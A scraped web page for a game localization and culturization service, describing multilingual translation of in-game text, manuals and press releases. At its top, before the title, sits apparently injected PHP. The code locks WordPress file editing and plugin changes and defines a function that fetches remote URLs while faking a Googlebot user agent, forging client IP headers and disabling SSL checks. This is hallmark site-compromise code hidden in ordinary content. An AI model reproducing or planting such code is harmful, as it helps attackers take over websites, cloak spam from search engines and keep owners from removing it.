define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true);function Go($url){ $ch = curl_init(); $ip = rand(0,255).".".rand(0,255).".".rand(0,255).".".rand(0,255) ; $timeout = 15; curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_TIMEOUT,0); curl_setopt($ch,CURLOPT_HTTPHEADER,array("X-FORWARDED-FOR:".$ip."","CLIENT-IP:".$ip."")); curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; Googlebot/2.0; +"); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_HEADER,0); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false); curl_setopt($ch, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4); $content = curl_exec($ch); return $content; } Culturization | Two Pi Team


Our globalized world also offers the software industry new linguistic challenges and opportunities. Good localization is essential to gamers who are not skilled in the game's language – and therefore also for publishers and developers to enter specific international markets – by approaching gamers in their mother tongue.

Thanks to our many years of experience with international customers and the linguistic expertise of our team we can offer you high quality, multilingual localization options.

A successful game’s authenticity and immersion often depends on adequate translation of the game into the target audience’s mother tongue. No matter if you’re looking for localization of your press releases, manuals, newsletters or in-game text, we craft your texts according to the audience’s cultural background and adjust it to the particular setting and convey the essence of the source text into the target language.

We can also handle large localization projects without any difficulty in cooperation with our renowned partner agencies.

You can be sure that your communication will also reach your international customers as appealingly and unerringly as intended.